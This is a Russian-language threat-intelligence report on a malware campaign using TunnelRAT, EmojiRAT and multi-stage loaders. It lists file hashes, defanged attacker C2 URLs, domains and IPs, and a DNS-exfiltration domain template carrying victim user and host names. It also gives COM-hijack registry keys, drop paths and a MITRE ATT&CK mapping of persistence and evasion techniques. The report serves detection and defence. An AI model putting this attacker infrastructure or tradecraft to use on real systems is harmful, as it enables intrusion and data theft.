Атакующие создают специальные доменные имена, созвучные с названиями атакуемых организаций, и используют их для распространения ВПО в ZIP-архивах. Такие сетевые ресурсы замаскированы под некое файловое хранилище, которое позволяет пользователю скачать установщик ПО видео-конференц-связи или мессенджера.

Кроме того, в одном из случаев атакующим удалось скомпрометировать легитимный сетевой ресурс крупной российской инвестиционной компании для распространения вредоносных программ.

Еще одна интересная особенность атакующих заключается в том, что они в основном используют домены в зоне .team. Похожее можно наблюдать у кластера Prosperous Werewolf (Team46 | TaxOff).

В октябре 2025 г. атакующие стали использовать GitHub вместо специально подготовленных сетевых ресурсов для размещения ZIP-архивов с ВПО. При этом атакующие размещают ZIP-архивы в разделе Issues, а не в самом репозитории в виде файлов.

Репозиторий GitHub атакующих
Репозиторий GitHub атакующих

Индикаторы компрометации

Архивы

aecbed9fa49fbbc017b2a7bfcada005b629422ae6b019a21dfc2a866ab0dd781
87040b23d67fbdd38738b3e8bf5e23ef15d976886ad2e39a3d4fb8856786adb3
6d671eec7167552c1a9892d1fb69444a09b5539f7c5809406595481483c28653
006ec36dad0a5725aef7983e92039d2187a9eb9af6156678dd540bddb029a399
a62bb2ccca790b4776b8e9b946028b34da2532e9b1fcb19b72129b0e3850ec80
4fefc7875584c4c2c6b5f73e59e9c3e754d0e815b2cc032c45546c556d108c84
83f1dcb2b0443065ff0beda5469fd923beb14836a0617b533feb327834ca9580
29800b5af9af6c837f430f75c55a835209269758349513eebf73eeee99bb2821
bd39a8365c74cdace37fc5ef4475fd861ce1d8c80b7cf6e9c43e6e92898a807b
5080ad5cbc0de49d4e6b24ce989e3ec7c31295ee254da627326d485d5db8795d
d79bbe44efd2981d331cd2f90ed83f514dbd62d82887e3c2b0677825467586a2
78a28a96293345a5025a4f74cac1824d909b2c3ccb8660a8ee7928523ff5dea5

Отвлекающие документы

70418787fed359f05deaf5e877831136d70ca3e22741bbf9270bf34cab4afb12
5239b2f2c55625ab167659301c7bf70ab87210ad21d4b556cb00ca17b0072e57
7f17c2860eb2bfc598cce5fa0c7406b5f0cac262f6cdd459aa4c6762d848cee8
ef2c96b0823b4c18953f8ed993d9d3429bc349da08cec3e027fd6c2df86d1d5b
3f415174256b01162ff93508b2593c7d6233769676d80ab402c39780615761b3
618798f68ca2facd82911f056ced1470477c57cfecfd7a2c3e57c781fa1c5dbd
b0d55a1d810913902940eb9722ed955def1575e9f31483c33c540e6e1808e096

Легитимные исполняемые EXE-файлы

0bb7658f0022e1a4cd26fa17a6f7ceb9d120e000bbfa2259069bfebee286b9be
6cbdf2b6671ce16c3b695dee839c440739377e9364561f35cd75c84d919eba55
88f45569e4b42dea6a01bebb70bda34019d1b5ff93bc2ec07a03f01e0fc55a5f
c3bcd25fa3cb2340a8d7a45aeee8ec5a6f6b53c69f9dfa857b98c558cb67c994
96da5365f0312eec2131367a78a881ded9a1c5d70afe89d4f615206f0d83805f
72f85580a46b9b1974bfa86807bd1389464b13365783ba27a880679ebac39f57

LNK

c69cedad946f8523db860bb479022a04361163ba710faa008570cb02ef186cf1

Загрузчики (стадия 1)

0fc50421147efb0cd2898514910632506714599b71ca6d3f1b43c7588f68d6e3
04d3b1a988b31a74c194559ba6041edcf6f52077f89ecabe4c55c9850be5f09a
5b566d341712937ad8238e12568558d919eb72be8095b3a75279ab9d2af20f3d
c5a29ff693b38ac89a68cd2c29d93c60edd70ea89ade4b06257601680dfa6c29
b4ec55e4709f4e00e49818f084ee2269fac3a8da397ac3bb9a82ff7e1bf604ed
ac9d31a20b745182162063d2f218f426e6e26f86c499d2be5f0dfa68d0a9e10b
680dc01df2f5b2033de43a73b161c59fe1a64f6cc8af37510dd5af6d839efd8f
ed20eae159f9cb99e83d1949b65ca63f44f80a128f0bb66365a77913ea6d3180
5b3b12d94b74d461e85a6dc6be60253e9894870b66b019fceb2d1ae37404b151
a97e3f8df8a69beaee06851113bc595ed66af120d96207299a2e50f86055ec71
3817bc949b841f10c8dc5759ec8981615f4d1f6367950bb22691596844eca958
4de78f2fa22f7bcb54ee3f4e5d677c144f6e080dde345f43261be2678e07aebc
e9b0c9ac3fe171935889d559fd4d271993b44e389cda4efbb81ae8e35765173f
7487426e30108459efed6500d479b05bc9ddd1856b81a3a0b7dd33acd208b19e
a01bf57c14bf97af60fe2366511d15259b7226f5755373dc6ea08b8946e94867
42061eb2d5a7027e61e547bd97ccf5788aed96e3dcb1736186b3af8394966655

Загрузчики (стадия 2)

8f0df39a5bf5d2a10fca0b8ebc45f1f2719b9b79d1a5f08f35acae7a1068f1db
c001bce3a5410bb59bb7e2a2562b7d59b93d45763c96aeb22b37e8a7e93eaf6d
1b4d6e2cc5864a43750a31a4eb24c4e5fb796c534f73b34b7e9ee9a7c0d68484
e92d3a7ec59ca41c516b258c6a2305d67e8185e6002243fb4b2877310f0780fe
a2a124b19ef9e20238cfec7336ab5946dc4daf8f5f4f55bc2271b2e664ca38ab
eb62743cf08c4fd8c9572cfd38639f57b620dab2bfd2abf8c89236f67bc608f8
08dac2603d614dd681967826a9247dc2b60075204f145f861ea2aaade87c5f8f
5ae88745daa8af58b4fcbcac82e3744a51338ffc313d716de141072b9a9ae6aa

httptun

2dde33e9cdd86b2c44fdaacd8122a798c8517b9b8183aa3d4267e33e1421dfc9
3ace13a594975a291074401b4322b41832c50da812c6d897fe43a7f5c3c4a995
a7917d1b63773a3b37db520ea702ea3e443f6c3cd41a25a4136d646bc5c934c6
2ae45e712b18564ae83bb7c7f18cc47ceb4f3720ea257059bd07a9cf276e6200
11c2ed40f8135511af33eff60309ae8cc752c87be3b44da61769b2bfb00b2a3d
4e12b364d38403d1dfe9d12c8c67896becbaacbe5f5475c2a03074ffa70e9934
d6080398288db7c5ee6f5a4020afde945f6133d6a0d5150e9ade6e712be4d9bb
60e57437aeaf85208cc10e0eb8a23db7985e9938a3179ce3128ec9e02b976422

Сетевые индикаторы

URLs

hxxps://176.109.91[.]210/Collector/3.0/
hxxps://176.109.91[.]211/cr/log
hxxps://github[.]com/user-attachments/files/23094417/[redacted]_Setup.zip
hxxps://github[.]com/user-attachments/files/23050761/[redacted]_Setup.zip
hxxps://github[.]com/user-attachments/files/23094417/[redacted]_Setup.zip
hxxps://tunnels-prod-rel-uks1-v3-cluster.uksouth.cloudapp.azure[.]com/api/v1/login
hxxps://zktbbr4c-443.uks1.devtunnels[.]ms/api/v1/login
hxxps://tunnels-prod-rel-euw-v3-cluster.westeurope.cloudapp.azure[.]com/api/v1/login
hxxps://kf8gkhq3-443.euw.devtunnels[.]ms/api/v1/login

Домены

mssid[.]team
ns45.mssid[.]team
vpn.mssid[.]team
d65dd78iuq0.ns12.[redacted][.]team
g.addr-in[.]com
ns.%USERDOMAIN%.addr.%USERNAME%.out.%COMPUTERNAME%.g.addr-in[.]com
tunnels-prod-rel-uks1-v3-cluster.uksouth.cloudapp.azure[.]com
zktbbr4c-443.uks1.devtunnels[.]ms
tunnels-prod-rel-euw-v3-cluster.westeurope.cloudapp.azure[.]com
kf8gkhq3-443.euw.devtunnels[.]ms

IP-адреса

89.169.142[.]238
89.169.145[.]206
89.169.170[.]237
89.169.171[.]0
158.160.35[.]215
158.160.54[.]234
158.160.57[.]241
176.109.91[.]205
176.109.91[.]210
176.109.91[.]211

Прочие индикаторы

Объекты синхронизации

Мьютекс .IRDM_{25fab5db-1899-4943-9275-647a21cf88b5}
Секция .ISD_{25fab5db-1899-4943-9275-647a21cf88b5}

Реестр

HKEY_USERS\%CURRENTUSER%_Classes\CLSID\{4590f811-1d3a-11d0-891f-00aa004b2e24}\InprocServer32
HKEY_USERS\%CURRENTUSER%_Classes\CLSID\{dcb00c01-570f-4a9b-8d69-199fdba5723b}\InprocServer32
HKEY_USERS\%CURRENTUSER%_Classes\CLSID\{88d96a05-f192-11d4-a65f-0040963251e5}\InprocServer32
HKEY_CLASSES_ROOT\CLSID\{4590f811-1d3a-11d0-891f-00aa004b2e24}\InprocServer32
HKEY_CLASSES_ROOT\CLSID\{dcb00c01-570f-4a9b-8d69-199fdba5723b}\InprocServer32
HKEY_CLASSES_ROOT\CLSID\{88d96a05-f192-11d4-a65f-0040963251e5}\InprocServer32

Пути к файлам

%APPDATA%\Microsoft\PDFRead.exe
%APPDATA%\Microsoft\doc.pdf
%APPDATA%\Microsoft\uxtheme.dll
%USERPROFILE%\AppData\Roaming\lyly.dll
%LOCALAPPDATA%\Programs\Common\NetworkPlugin.dll
%APPDATA%\networkmanager.dll
%USERPROFILE%\AppData\Roaming\netwrokmanager.dll
%APPDATA%\Microsoft\Installer\Updater.exe
%LOCALAPPDATA%\Microsoft SDKs\feedback.exe
%APPDATA%\Microsoft\Crypto\NetworkListManager.dll
%APPDATA%\Microsoft\Credentials\VaultCDC.dll
%APPDATA%\Chrome\updater.exe

Процесс

getmac /s services.imp.microsoft[.]com /fo table /nh /v

MITRE ATT&CK

Тактика

Техника

Процедура

Initial Access

Phishing: Spearphishing Attachment

Атакующие используют вложения в фишинговые электронные письма для распространения ВПО

Execution

Native API

Атакующие используют функцию WinAPI CreateProcessW в загрузчике для запуска следующей стадии.

Атакующие используют функцию WinAPI CreateProcessA в EmojiRAT для выполнения команд, поступающих от C2-сервера


User Execution: Malicious File

Жертва должна распаковать архив и запустить EXE-файл или LNK-файл, чтобы инициировать процесс компрометации системы

Persistence

Event Triggered Execution: Component Object Model Hijacking

Атакующие для запуска загрузчика в адресном пространстве процесса getmac.exe /s services.imp.microsoft.com /fo table /nh /v используют в загрузчике COM-объекты:

4590f811-1d3a-11d0-891f-00aa004b2e24 (WBEM Locator);

dcb00c01-570f-4a9b-8d69-199fdba5723b (NetworkListManager);

88d96a05-f192-11d4-a65f-0040963251e5 (XML DOM Document 6.0)

Defense Evasion

Deobfuscate/Decode Files or Information

Атакующие используют собственный многоступенчатый загрузчик для расшифровки и запуска вредоносной нагрузки


Hide Artifacts: Hidden Files and Directories

Атакующие устанавливают атрибут «скрытый» для исполняемого файла первой стадии загрузчика (DLL)


Hide Artifacts: Process Argument Spoofing

Атакующие используют технику parent PID spoofing при создании новых процессов в TunnelRAT


Hijack Execution Flow: DLL

Атакующие используют технику DLL side-loading для запуска первой стадии загрузчика в виде вредоносной библиотеки (DLL)


Indicator Removal: File Deletion

Атакующие при запуске второй стадии загрузчика проверяют наличие аргументов командной строки:

cpu get numberоfcоres

cpu get number оf cоres

os get localtime

В случае обнаружения загрузчик удаляет собственный исполняемый файл второй стадии — динамически подключаемую библиотеку (DLL)


Indicator Removal: Clear Persistence

Атакующие при запуске второй стадии загрузчика проверяют наличие аргументов командной строки:

cpu get numberоfcоres

cpu get number оf cоres

os get localtime

В случае обнаружения загрузчик удаляет из реестра ОС значения специальных COM-объектов, которые используются для закрепления загрузчика в системе


Obfuscated Files or Information

Атакующие используют обфускацию кода загрузчика, TunnelRAT и EmojiRAT


Obfuscated Files or Information: Software Packing

Атакующие используют VMProtect для обфускации вредоносного .NET-приложения httptun


Obfuscated Files or Information: Encrypted/Encoded File

Атакующие кодируют алгоритмом Base64 конфигурационные данные модифицированного клиента Secure Socket Funneling (SSF).

Атакующие шифруют алгоритмом RC4 конечную вредоносную нагрузку на третьей стадии загрузчика


Virtualization/Sandbox Evasion: System Checks

Атакующие используют в загрузчике проверку определенных подстрок в значении переменной окружения %USERDOMAIN%. Если подстроки не обнаружены, тогда загрузчик завершает свою работу

Discovery

File and Directory Discovery

Атакующие, используя TunnelRAT и EmojiRAT, могут по команде C2-сервера собирать информацию о файлах/каталогах


Permission Groups Discovery: Local Groups

Атакующие, используя TunnelRAT, могут по команде C2-сервера получить информацию о локальном пользователе системы: его правах и группах, в которых он состоит


Process Discovery

Атакующие, используя TunnelRAT, могут по команде C2-сервера получить список активных процессов, запущенных ранее данной вредоносной программой


System Information Discovery

Атакующие, используя TunnelRAT, могут по команде C2-сервера получить имя компьютера, имя сервера (контроллера домена), имя домена (рабочей группы).

Атакующие, используя EmojiRAT, могут по команде C2-сервера получить имя компьютера


System Network Configuration Discovery

Атакующие, используя TunnelRAT, могут по команде C2-сервера получить DNS-имя домена, если скомпрометированный хост находится в доменной среде Active Directory, и IP-адреса: IPv4, IPv6.

Атакующие, используя EmojiRAT, могут по команде C2-сервера получить IP-адреса скомпрометированного хоста


System Owner/User Discovery

Атакующие, используя TunnelRAT и EmojiRAT, могут по команде C2-сервера получить имя пользователя системы

Command and Control

Application Layer Protocol: Web Protocols

Атакующие используют HTTPS для коммуникации с C2-сервером в таких вредоносных программах, как TunnelRAT, EmojiRAT, httptun


Application Layer Protocol: DNS

Атакующие используют TunnelRAT для коммуникации с C2-сервером через DNS-туннель


Data Encoding: Standard Encoding

Атакующие кодируют получаемые и отправляемые данные в TunnelRAT алгоритмом Base36


Data Encoding: Non-Standard Encoding

Атакующие кодируют получаемые и отправляемые данные в EmojiRAT с помощью специальной таблицы символов эмодзи


Dynamic Resolution: Domain Generation Algorithms

Атакующие используют собственный алгоритм генерации доменных имен в TunnelRAT


Encrypted Channel: Asymmetric Cryptography

Атакующие используют TLS в модифицированном клиенте Secure Socket Funneling (SSF)


Fallback Channels

Атакующие могут использовать несколько C2-серверов в конфигурационных данных TunnelRAT


Ingress Tool Transfer

Атакующие используют TunnelRAT и EmojiRAT для загрузки файлов на скомпрометированный хост


Non-Application Layer Protocol

Атакующие, используя TunnelRAT и EmojiRAT, могут по команде C2-сервера использовать сетевое соединение через сокеты для коммуникации с определенным сетевым ресурсом (IP-адрес:порт)


Proxy

Атакующие используют модифицированный клиент Secure Socket Funneling (SSF) для SOCKS-прокси


Web Service: Bidirectional Communication

Атакующие используют Telegram Bot API в EmojiRAT для отправки и получения сообщений

Exfiltration

Exfiltration Over C2 Channel

Атакующие используют TunnelRAT для передачи данных на C2-сервер


Exfiltration Over Web Service

Атакующие используют четыре телеграм-бота в EmojiRAT для передачи данных

Impact

Data Destruction

Атакующие, используя TunnelRAT, могут по команде C2-сервера удалять файлы/каталоги на скомпрометированном хосте


Service Stop

Атакующие, используя TunnelRAT, могут по команде C2-сервера завершать работу определенных процессов


На основе этого исследования попробуйте определить: тут поработал новый кластер злоумышленников или red team? Ответ уже на нашем сайте.

Комментарии (0)